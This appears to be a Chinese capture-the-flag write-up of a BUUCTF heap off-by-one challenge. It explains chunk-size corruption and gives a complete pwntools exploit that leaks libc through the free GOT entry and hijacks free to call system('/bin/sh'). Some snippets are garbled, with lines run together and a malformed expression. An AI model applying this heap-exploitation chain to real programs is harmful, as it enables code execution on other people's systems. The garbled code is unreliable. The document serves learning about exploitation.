BUUCTF[堆][of_by_one]

堆中of_by_one

介绍:

  1. 严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节
  2. 溢出字节为可控制任意字节 :通过修改大小(size字段值)造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。

例题:

题目:BUUCTF在线评测 (buuoj.cn)

  1. 先看一下create函数创建出来的heap结构:

    image-20240709153741797

  2. delete函数中将heap指针清0了,所以不能利用UAF:

    image-20240709154254757
  3. 但是在edit函数中,存在of_by_one漏洞,会多接受一个输入,可以利用着来覆盖下一个chunk的size大小,从而实现chunk的覆盖:

    image-20240709154340482

利用:

  1. 首先我们申请的长度要恰好到下一个chunk的size字段,所以必须将下一个chunk的prev_size字段沾满,不能留空隙,所以申请的大小必须为0x10的整数倍+8

    image-20240709154846223

    这种情况才能占满(将下一个chunk的prev_size字段占满,才能顺利覆盖到后面的size字段):

    image-20240709155150227

  2. 先申请两个大小为0x18的heap:

    add(24,b'a')    #0
    add(24,b'b')    #1
    
  3. 再编辑chunk0,利用of_by_one漏洞,覆盖掉chunk1的size字段,大小最少要为0x:

    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    
  4. 再释放掉chunk1,此时就能得到一个0x40和一个0x10的fastbin:

    image-20240709155927573

  5. 此时再申请一个大小为0x30的chunk2,就会将fastbins[0x40]分配给我们(但是实际的大小只有0x18,但是写入的大小就是0x30了),可以导致chunk之间的覆盖(变向堆溢出)。但是如何填充数据泄漏libc地址呢?,需要使用到show函数,并且利用前面造成的堆溢出将content地址改为函数的got表地址(这里以free函数为例):

    image-20240709160525868

    add(0x30,b"A"*16 + p64(0)*+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2
    

    image-20240709161225369

    调用show函数输出chunk2就能泄漏libc地址,再计算活得system的地址:

    printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))
    libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))

    image-20240709161346767

  6. 最后利用edit(2),将free函数的got表中的数据修改为system的地址,即可完成对free函数的挟持,前面再第一次溢出在content处时填入的"/bin/sh"其地址就会作为free函数的参数(system(“/bin/sh”)):

    image-20240709162238290

    edit(1,p64(sys_addr))
    

    image-20240709161912317

  7. 最后free(0)即可拿到flag。EXP:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')# p = remote("node5.buuoj.cn",25567)
    p = process("./pwn")
    libc = ELF('./libc-2.23.so')
    elf = ELF("./pwn")
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    def add(size,content):sla(b'Your choice :','1')sla(':',str(size))sla(':',content)def edit(idx, content):sla(':','2')sla('Index :',str(idx))# sla(':',str(len(content)))sa(b':',content)def printf(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())def free(idx):sla(':','4')sla(':',str(idx))add(24,b'a')    #0
    add(24,b'b')    #1
    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    free(1)
    add(0x30,b"A"*8 + p64(0)*2+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))edit(1,p64(sys_addr))
    free(0)p.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/373434.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个项目学习Vue3---事件处理

学习下面代码&#xff0c;了解Vue3的事件处理 <!--条件和列表渲染--> <template><el-button v-on:click"countAdd" type"primary">count{{ count }}</el-button><el-button click"countAdd" type"primary"…

18.按键消抖模块设计(使用状态机,独热码编码)

&#xff08;1&#xff09;设计意义&#xff1a;按键消抖主要针对的时机械弹性开关&#xff0c;当机械触点断开、闭合时&#xff0c;由于机械触点的弹性作用&#xff0c;一个按键开关在闭合时不会马上稳定地接通&#xff0c;在断开时也不会一下子就断开。因而在闭合以及断开的瞬…

解决centos yum和wget指令都用不了(换源)

先ping一下网络&#xff0c;看看能不能ping通&#xff0c;先排除是网络的问题 ping www.baidu.com有消息回传说明网络有连接&#xff0c;没有的话就要去把虚拟机的网络连接好&#xff08;CtrlC关闭&#xff09; 接下来写centos更换源 一般yum用不了&#xff0c;下载不来wget …

树莓派采集系统

树莓派&#xff08;Raspberry Pi&#xff09;是一款非常受欢迎的小型单板计算机&#xff0c;因其低成本、低功耗以及丰富的I/O接口&#xff0c;非常适合用来搭建数据采集系统。无论是环境监测、智能家居、工业自动化&#xff0c;还是科学实验&#xff0c;树莓派都能胜任。以下是…

苹果开发者取消自动续费

文档&#xff1a;https://support.apple.com/zh-cn/118428 如果没有找到订阅&#xff0c;那就是账号不对 取消订阅后&#xff0c;就不会自动续费了&#xff0c;如果不放心&#xff0c;可以把付款绑定的方式也取消

window 安装 openssl

文章目录 前言window 安装 openssl1. 下载2. 安装3. 配置环境变量4. 测试 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实在白嫖的话…

虚幻引擎中增强输入映射中鼠标输入无反应,怎么办?

在本地重新实现官方示例Cropout的时候&#xff0c;有增强输入&#xff0c;设置了鼠标左键的输入操作&#xff0c;但是蓝图一直不能触发 鼠标输入无效&#xff0c;而改用键盘输入则能正常触发。 解决办法就是在蓝图中设置输入模式游戏和UI 则鼠标左键控制的IA_Villager可以正…

Mybatis实现RBAC权限模型查询

RBAC权限模型 Role-Based Access Control&#xff0c;中文意思是&#xff1a;基于角色&#xff08;Role&#xff09;的访问控制。这是一种广泛应用于计算机系统和网络安全领域的访问控制模型。 简单来说&#xff0c;就是通过将权限分配给➡角色&#xff0c;再将角色分配给➡用…

凝思安全操作系统安装部署

原文链接&#xff1a;凝思安全操作系统安装部署 Hello&#xff0c;大家好啊&#xff01;今天给大家带来一篇关于凝思安全操作系统安装部署的文章。凝思安全操作系统是一款注重安全和隐私保护的操作系统&#xff0c;适用于各种高安全性需求的场景。本文将详细介绍如何安装和部署…

阿里云人工智能平台PAI部署开源大模型chatglm3之失败记录--update:最后成功了!

想学习怎么部署大模型&#xff0c;跟着网上的帖子部署了一个星期&#xff0c;然而没有成功。失败的经历也是经历&#xff0c;记在这里。 我一共创建了3个实例来部署chatglm3&#xff0c;每个实例都是基于V100创建的&#xff08;当时没有A10可选了&#xff09;&#xff0c;其显…

科普文:K8S中常见知识点梳理

简单说一下k8s集群内外网络如何互通的 要在 Kubernetes&#xff08;k8s&#xff09;集群内外建立网络互通&#xff0c;可以采取以下措施&#xff1a; 使用service&#xff1a; 使用Service类型为NodePort或LoadBalancer的Kubernetes服务。这可以使服务具有一个公共IP地址或端口…

CodeNavi 中代码表达式的节点和节点属性

本文分享自华为云社区《CodeNavi 中代码表达式的节点和节点属性》。作者&#xff1a;Uncle_Tom 1. 前期回顾 《寻找适合编写静态分析规则的语言》 根据代码检查中的一些痛点&#xff0c;提出了希望寻找一种适合编写静态分析规则的语言。 可以满足用户对代码检查不断增加的各种需…

SpringCloudAlibaba Nacos配置中心与服务发现

目录 1.配置 1.1配置的特点 只读 伴随应用的整个生命周期 多种加载方式 配置需要治理 1.2配置中心 2.Nacos简介 2.1特性 服务发现与服务健康检查 动态配置管理 动态DNS服务 服务和元数据管理 3.服务发现 1.配置 应用程序在启动和运行的时候往往需要读取一些配置信…

收银系统源代码-收银端UI风格

智慧新零售收银系统是一套线下线上一体化收银系统&#xff0c;给商户提供含线下收银称重、线上商城、精细化会员管理、ERP进销存、丰富营销活动、移动店务助手等一体化的解决方案。 如Windows版收银&#xff08;exe安装包&#xff09;、安卓版收银&#xff08;apk安装包&#…

HTML【详解】超链接 a 标签的四大功能(页面跳转、页内滚动【锚点】、页面刷新、文件下载)

超链接 a 标签主要有以下功能&#xff1a; 跳转到其他页面 <a href"https://www.baidu.com/" target"_blank" >百度</a>href&#xff1a;目标页面的 url 地址或同网站的其他页面地址&#xff0c;如 detail.htmltarget&#xff1a;打开目标页面…

关于【AI绘画】的学习

AI绘画中有个牛器DeepArt,也有很多AI软件和平台可以去借鉴和学习。 这里是一张AI绘画图片,主题是一个梦幻般的森林,里面充满了发光的蘑菇和飞舞的萤火虫: AI绘画资源 对于AI绘画,你可以参考一些在线平台和软件,它们提供了AI绘画的功能或者教程。此外,也可以寻找相关的书…

景芯SoC训练营DFT debug

景芯训练营VIP学员在实践课上遇到个DFT C1 violation&#xff0c;导致check_design_rule无法通过&#xff0c;具体报错如下&#xff1a; 遇到这个问题第一反映一定是确认时钟&#xff0c;于是小编让学员去排查add_clock是否指定了时钟&#xff0c;指定的时钟位置是否正确。 景芯…

神领物流项目第一天

文章目录 聚焦快递领域首先第一个是验证码模块流程登录接口权限管家 聚焦快递领域 首先第一个是验证码模块流程 首先生成验证码的流程 可以使用工具类去生成验证码 LineCaptcha lineCaptcha CaptchaUtil.createLineCaptcha(160, 60, 4, 26);// 获取值然后存入redis中 strin…

WPF引入多个控件库使用

目的 设计开发时有的控件库的一部分符合我们想要的UI样式&#xff0c;另一部分来自另一个控件库&#xff0c;想把两种库的样式做一个整合在同一个控件资源上。单纯通过引用的方式会导致原有样式被覆盖。这里通过设置全局样式的方式来实现。 1.安装控件库nuget包&#xff1a;H…

分享中国-吉林省和9个地级市州人文地图

分享中国-吉林省和9个地级市州人文地图 1、吉林省 吉林省&#xff0c;位于中国东北地区中部&#xff0c;地处东北亚地理中心位置&#xff0c;因吉林市而得名&#xff0c;清康熙时在松花江畔建吉林乌拉城&#xff0c;满语意为“沿江的地方”。 吉林省以中部大黑山为界&#x…